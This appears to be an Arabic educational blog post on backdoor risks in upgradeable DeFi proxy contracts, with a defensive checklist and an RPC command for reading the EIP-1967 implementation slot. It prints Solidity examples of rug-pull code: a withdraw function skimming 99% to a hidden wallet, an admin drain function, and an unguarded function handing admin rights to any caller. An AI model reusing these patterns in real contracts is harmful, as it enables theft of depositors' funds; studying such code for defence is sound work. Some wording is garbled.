اضغط على ESC للإغلاق

ثغرات العقود الذكية: مخاطر الترقية والـ Proxy

تقريباً 90% من بروتوكولات الـ DeFi اللي تحط فيها الكاش والستايبل كوينز مجهزة بـ "باكدور" قانوني من المصنع. الاختراع هذا يسمونه Upgradeability (قابلية الترقية). الفكرة في ظاهرها ممتازة: ترقيع ثغرات وتحسين للغاز. بس الواقع؟ كبسة زر واحدة من المطور تبدل كود العقد الشغال بـ "سكام" مدروس، يسحب السيولة لآخر سنت.

أمس كنت أسوي هندسة عكسية لـ "فورك" جديد على شبكة Base وقعدت عليه لين الساعة ثلاث الفجر. تمنيت إن السالفة مجرد هلووسة وتعب، بس طلع "تايم بومب" كلاسيكي في البروكسي. والمصيبة المشروع مسوي تدقيق أمني! مطلعين ملف PDF كشخة من أقوى شركات الأوديت. خلونا نفكك الطبخة.

الفخ المعماري: كيف تشتغل عقود البروكسي؟

المستثمر العادي يشوف السمار ت كونتراكت كأنه صخرة صلبة؛ ترفعه على الشبكة وخلاص. بس لو البروتوكول يحتاج ميزة التحديث، يقسمون الهيكل لجزأين: البروكسي (Proxy) والمنطق (Implementation). المستخدم دايماً يتعامل مع البروكسي. البروكسي نفسه ما فيه أي منطق لعمليات البزنس؛ هو مجرد وسيط يمرر الأوامر عبر delegatecall.

وهنا الخدعة كاملة. الـ delegatecall هي أخطر ميزة في لغة Solidity. تنفذ كود العقد المستهدف (الـ Implementation) بس داخل مساحة التخزين (storage) الخاصة بالبروكسي نفسه. يعني المتغيرات مخزنة بالبروكسي، والكود يمرر من برة. يجي الآدمين يغير عنوان الـ Implementation في عقد البروكسي، وبثواني صار عندك بروتوكول محدث، أو باكدور يسحب حلالك.

أشهر النماذج اللي يبيعونها لك على أساس أنها أمان:

  • UUPS (UUPSUpgradeable): خانة عنوان عقد المنطق تكون داخل عقد المنطق نفسه. لو الآدمين رفع نسخة جديدة مضروبة ونسى يربطها بـ UUPS، العقد يتقفل ويتحول لـ "بلوكة" طابوق. تضيع الفلوس وتتحجر للأبد. قمة السخرية، صح؟
  • Transparent Proxy Pattern (TPP): هنا في عقد خاص اسمه ProxyAdmin هو المسؤول عن الترقية. ميزته يفصل الصلاحيات: المستخدمين يطلبون البزنس لوجيك، والآدمين يطلب الفانكشنز الخاصة بالترقية بس. شكله أرتب، لكنه يلتهم الغاز إلتهام بسبب التدقيق المستمر على الـ msg.sender في مرحلة الـ fallback.
  • Beacon Proxy: عقد واحد يسمى "المنارة" (Beacon) يخزن عنوان المنطق لمئات العقود المتطابقة. هذا التكنيك مستخدم بكثرة في كولكشنز الـ NFT أو الـ Pools. تغير العنوان في المنارة، وتتحدث آلاف العقود بلمحة عين. مريح للهكر؟ طبعاً، اختراق واحد يوقع شبكة السيولة كاملة.

تشريح الـ Rug Pull: كيف تروح فلوسك؟

تتوقع سحب السيولة يحتاج إكسبلويت معقد وهندسة؟ لا يبا. كل اللي يحتاجه الآدمين تغيير سطر واحد في الكود الجديد.

خلونا نشوف الكود الحقيقي. كتبت لكم مثال كلاسيكي لعقد "سليم" يتحول لـ سكام بلحظة غفلة.

المرحلة الأولى: العقد النظيف (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// بول طبيعي، والمستثمرين يودعون ومستانسين بالأرباح
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // نستخدم initializer بدال الـ constructor، لو نسيت تفعلها العقد مستباح للجميع
    function initialize() public initializer {
        admin = msg.sender; // هنا يتخزن عنوان الدبلوير، أو مالتي-سيج لو في أمان
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // سحب طبيعي وبدون عمولات مخفية.. حتى الآن
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

كل شيء نظيف والمراجعين يعطون المشروع الضوء الأخضر. ينطلق البروتوكول وتكبر السيولة والكل يحتفل في قنوات التليغرام.

المرحلة الثانية: ترقية نص الليل (Implementation_V2.sol)

يمر شهر وتتجمع في البول 5000 ETH. يجي الآدمين (أو هكر طار بالـ private key) ويرفع النسخة الثانية. يروح للفانكشن upgradeTo() في البروكسي ويحط عنوان العقد الجديد الخبيث.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // تنبيه: ترتيب الـ Storage layout لازم يطابق V1 بالضبط
    // لو حركت متغير واحد بتضرب المابينقز وتدخل في ديرة الخراب
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // محفظة الكاش برا البلد
    // لوك عشان الـ initializer ما يشتغل مرة ثانية
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // هنا الباكدور، هل بيلاحظه المستخدم العادي؟ مستحيل
    function withdraw(uint256 _amount) external {
        // الظاهر سليم، بس الملعوب تحت
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // ضريبة مخفية: نقص 99% وحولها للـ shadowWallet بسكات
        // ليش مو 100%؟ عشان الترانزاكشن ما تفشل فوراً ويظن المستخدم إنه تعليق في الـ UI
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // أو ببساطة زر الـ Rug pull المباشر للآدمين
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // قش الأخضر واليابس، طارت السيولة
        payable(shadowWallet).transfer(address(this).balance);
    }
}

المستخدم يدخل الموقع، يضغط دكمه Withdraw، ويوقع الترانزاكشن بالواليت. الـ UI تقعد تدور وتلف. يدخل محفظتك 1% بس من فلوسك، والباقي تبخر. تروح تركض لجروب التليغرام تسأل، وتكتشف إن المودز شغالين حظر ومسح مسجات. سيناريو مكرر ومعروف.

تداخل خانات الذاكرة: الباكدور الخفي والأكثر خبثاً

أحياناً المطور الخبيث ما يحتاج يحط فانكشن واضحة ومكشوفة مثل emergencyDrain(). في طريقة أذكى وايد وهي تعمد إحداث تداخل في خانات الذاكرة (Storage Slot Collision).

الـ EVM ما تفهم أسماء المتغيرات؛ تتعامل فقط مع خانات تتابعية (من 0 إلى 2256-1) تنكتب فيها البيانات ورا بعضها. لو المطور غير ترتيب تعريف المتغيرات في التحديث الجديد عمداً، يقدر يخلي خطوة كتابة متغير عادي مثل userLimit تروح تمسح وتعدل عنوان الـ admin نفسه.

مرة طحت على عقد، المطورين حشروا متغير bool صغير جداً قبل الـ owner في الترقية الجديدة. الحركة هذه زحزحت ترتيب الذاكرة بالكامل تحت. أي مستخدم عادي دخل يعدل السيتينقز لحسابه في الآب، صار هو الـ owner وتأهّل يسحب الـ Pool كامل. المطورين حلفوا وقتها إنه خطأ مطبعي غير مقصود. تصريحات كاذبة طبعاً؛ لأن الفلوس تحولت لمحفظة كانت ممولة قبل يومين من خلاط Tornado Cash. صدفة عجيبة!

شروط الأمان: كيف تحمي كاشك من السحب؟

لو تعتقد إن علامة التوثيق الخضراء في الـ Etherscan تحميك فإنت على نياتك. الـ Checkmark على عقد البروكسي يعني بس إن كود البروكسي سليم، الخطر كله مدفون في العقود المربوطة تحته.

سويت لك هذا الجدول عشان ترجع له وتعرف حجم المخاطرة قبل لا تضخ مبالغ ثقيلة في أي بروتوكول.

متغير العقدالوضع الآمن (Safe)مؤشر خطر (Red Flag)كيف تفحصه في الـ Explorer
نوع العقدثابت (Immutable)بروكسي (UUPS / Transparent)افتح تبويب Contract وافحص إذا طالعة لك أزرار Read as Proxy / Write as Proxy.
التحكم (Admin)مالتي-سيج (Gnosis Safe 3/5) + تايم لوكEOA (محفظة عادية لآدمين واحد)شوف عنوان السلوت الخاص بالـ admin أو الـ owner. لو طلع عنوان محفظة عادية مو عقد، المشروع يديره شخص واحد. لو طار مفتاحه طارت أموالك.
Timelock (فترة الانتظار)من 48 ساعة إلى 7 أيامما في تايم لوك أو قيمته صفرتأكد إذا كانت أوامر الترقية تمر إجبارياً عبر عقد تايم لوك. لو الآدمين يقدر ينفذ upgradeTo فوراً، اescape بجلدك.
سلوت الـ Implementationمهاش ومعتمد على معيار EIP-1967سلوت مخصص أو مخفيراقب حركة الـ storage وتغيراتها في تبويب State داخل Etherscan وقت التحديثات.

الـ Timelocks مجرد وهم أمان ثاني بيتمسحوا فيه صغار المستثمرين (الـ Retail). تلاقي المطورين طالعين بكل فخر على ديسكورد يقولوا: "يا شباب مفعلين تايم لوك 48 ساعة! مستحيل يحصل أي ترقية مفاجئة!".

الكلام يبان جامد. الأدمن قدامه يومين عشان يرفع ترقية العقد، وأنت قدامك نفس اليومين عشان تلمح اللعبة، وتعمل قلق، وتسحب فلوسك. بس في الحاضر؟ محدش مهتم.

مين فيكم بيراقب الـ mempool أو إيفينتات التايم لوك 24 ساعة في الـ 7 أيام؟ ولا حد. بتكونوا نايمين، في الشغل، أو بتشربوا كرك ورايقين. الهاكر أو الأدمن النصاب بيرمي ترقية العقد في الـ queue الجمعة بالليل. الأحد نص الليل وقت التايم لوك بيخلص، الكود بيتغير، وتصحوا الاثنين الصبح تلاقوا رصيد المحفظة صفر ودماغكم مليانة أسئلة ملهاش لازمة. فرق الوقت ده مش هينقذك إلا لو مجهز تنبيهات تلقائية (عن طريق Defender Sentinel أو Tenderly مثلاً) ومعاك بوتات جاهزة للسحب الطارئ. مفيش بوت؟ هتقعد تتفرج على فلوسك وهي بتطير وأنت واقف في طابور الذبح.

نيجي بقى للشغل النظيف والـ الحركات المستخبية اللي نادر جداً تتكتب في تقارير التدقيق (Audits) العادية.

أغنام ملغومة في المعمارية: ثغرات الـ Initialization المستخبي

لما بترفع عقد ذكي عادي (Deploy)، الـ constructor بيشتغل مرة واحدة بس، يكتب المتغيرات المطلوبة في الـ storage ويختفي. لكن في نظام البروكسي (Proxy Architecture)، الـ constructor الخاص بالعقد الأساسي (Implementation) مش بيلمس الـ storage بتاع البروكسي نفسه. عشان كده عملوا دالة الـ initializer، زي دالة initialize اللي شفناها فوق.

وهنا بيبدأ الفن الهندسي للـ Backdoors. إيه اللي يحصل لو الأدمن ساب دالة تفعيل ثانية؟ أو طريقة مستخبية لإعادة التفعيل (Re-initialization)؟

لو ركزت، في مكتبة OpenZeppelin فيه ميزة reinitializer(uint8 version). فايدتها تفعيل المتغيرات الجديدة لما تعمل ترقية لـ V2. بس لو المطور حب يعمل فيها ذكي وكتب الكود بطريقته، أو "بالغلط" نسي يحمي دالة إعادة التشكيل دي، أي حد معدي هيقدر يعيد كتابة المتغيرات الحساسة (Overwrite).

نموذج لكود ترقية مكشوف (أو محطوط بقصد للسرقة):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // متغيرات جديدة لـ V3
    bool public isPaused;
    address public trustedRecoveryAddress;

    // دالة إعادة التفعيل للترقية.
    // ركز في السطر ده، لمحت الكارثة فين؟
    function upgradeConfig(address _recovery) external {
        // نسوا شرط التحقق: require(msg.sender == admin, "Not admin");
        // أو حطوا لوجيك يصفر حالة التفعيل الأساسية
        trustedRecoveryAddress = _recovery;
        
        // هدية صغيرة للمطور من تعبه:
        admin = msg.sender; // بوم! أي حد ينادي الدالة هياخد صلاحيات الأدمن بالكامل
    }
}

هتقولي: "مستحيل، دي غلطة غبية جداً والـ Auditors هيجيبوها فورا". للاسف لأ. بيخبوها ورا معادلات رياضية معقدة أو جوه مكتبات خارجية unverified بيتم استدعاؤها وقت الـ deploy. في الآخر الدالة تبان كأنها مجرد عملية حسابية عادية للأرباح (Yield)، بس في الخلفية بيحصل Overwrite صريح لمكان الأدمن في الـ storage slot.

الشغل على المكشوف: قراءة الـ Slots من الـ Blockchain مباشرة

لو الأدمن ناوي يسرق المشروع (Rug pull)، مش هيعرض كود الـ backdoor على Etherscan ويعمل له verify. هيرفع الـ Implementation كـ bytecode مقفول. هتشوف في الـ explorer مجرد كومة من الـ hex. شكلها يخوف؟ طبعاً.

عشان تعرف البروكسي بيشاور على فين بالثانية، لازم تتعلم تبص في الأصل — جوه الـ storage slots. حسب معيار EIP-1967، عنوان عقد اللوجيك (Logic Address) لازم يكون في slot محدد وثابت عشان نمنع تضارب البيانات.

عنوان الـ Implementation Slot حسب (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
واللي بيدينا الـ Hash ده: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

لو بتعرف تستخدم eth_getStorageAt، مش هيفرق معاك العقد موثق ولا لأ. هتاخد عنوان البروكسي، وتطلب السلوت ده، وهيطلعلك عنوان عقد اللوجيك الحالي في شكل hex واضح ونظيف. لو لقيت العنوان ده اتغير من غير إعلان رسمي — اسحب سيولتك فوراً.

# مثال لطلب عبر الـ RPC باستخدام curl للتأكد من العقد الحقيقي المستخبي هناك
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

الرد هيرجعلك 32 بايت، آخر 20 بايت منهم هما العنوان الحقيقي للعقد اللي بيتحكم في فلوسك في اللحظة دي. انسى العنوان اللي طالع في واجهة الموقع (Frontend) الكشخة؛ العنوان اللي راجع هنا هو اللي هيتنفذ عليه الـ delegatecall فعلياً.

الخلاصة؟

احفظها قاعدة: الـ Upgradeability دايما موازنة بين مرونة المطور وأمان المستثمر. لو مشروع بيصيح بـ TVL (Total Value Locked) بالمليارات، بس شغال بنظام بروكسي ومحفظة مالتي سيج (Multisig) 2 من 3 وبدون تايم لوك، المليار ده مش بتاع المستثمرين. ده ملك الثلاثة اللي معاهم المفاتيح (Keys)، أو هاكر شاطر يجيبهم بصيد الكتروني (Phishing).

طالما العقد يقبل الترقية، فأنت في الحقيقة بتثق في بشر مش في كود. والبشر في سوق الكريبتو، زي ما التاريخ علمنا، بيضعفوا، بيتعرضوا لابتزاز، أو بيطير عقلهم أول ما يشوفوا أرقام قدامها ستة أو سبعة أصفار.


FAQ

الـ upgradeability هي باترن معماري (architectural pattern) يقسم البروتوكول لجزأين: كونترات Proxy يكون في الواجهة، وكونترات Implementation فيه البيزنس لوجيك (business logic) الحقيقي. ه الشي يسمح للمطورين يغيروا الكود الأساسي تحت من خلال الـ delegatecall. الريسك الأساسي هنا هو مركزية التحكم؛ أي حد يمتلك الـ admin keys يقدر في ثواني يبدل الـ Implementation address الأصلي اللي تم فصحه (audited) بكود خبيث. ه الحركة تغير الـ state transitions للبروتوكول وتخليه يسحب (drain) كل الأصول المشفرة المقفولة فيه.

عشان تصيد الـ admin backdoor، لازم تفحص الـ architecture حقة الكونترات على إكسبلورر مثل Etherscan. شيك على الـ EIP-1967 storage slot بالتحديد العنوان (0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) باستخدام الـ RPC method اللي هي eth_getStorageAt عشان تطلع الـ hidden implementation pointer. إذا ه السلوت رجع لك عنوان (address)، وكانت الـ variable المسؤولة عن الإدارة سواء ProxyAdmin أو owner تشير لحساب EOA (Externally Owned Account) فردي—مش محفظة مالتي-سيج (Multi-Sig) أو كونترات Timelock—فهذا يعني إن الـ architecture فيها backdoor شغال.

الـ storage slot collision هي ثغرة قاتلة في الـ EVM. تستوي لما النسخة الجديدة من الـ Implementation كونترات تسوي declare حق الـ state variables بترتيب مختلف أو بـ data types مش متطابقة مع النسخة اللي قبلها. ه الشيء يجبر المتغيرات الجديدة تنزل على نفس الـ 32-byte storage slots القديمة بالضبط. وبسبب ه اللخبطة والـ misalignment، ممكن functions ثانية ماله دخل تخرب وتكتب فوق الـ critical variables. النتيجة؟ تفاعل عادي من اليوزر ممكن يدمر الـ state layout، أو يصفر الأرصدة، أو يغير سلوت الـ admin address بالدس وينقل الملكية كاملة (full ownership) للمخترق.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...